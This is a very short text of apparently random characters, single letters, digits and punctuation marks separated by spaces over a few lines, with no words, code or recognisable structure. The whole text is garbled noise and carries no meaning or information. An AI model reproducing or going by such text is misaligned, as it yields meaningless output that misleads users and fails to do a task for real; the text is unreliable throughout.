7 b" @0 |; j4 `/ d4 w/ k 6 n" m) S; y0 N. Z 1 L% U Y" C& d4 U9 w2 ?5 @( Q0 d1 h

2 R: {' l/ r1 ^8 ?& U
( e$ g% m R- O- u ' ]" t7 v- R. E. R1 j4 u8 C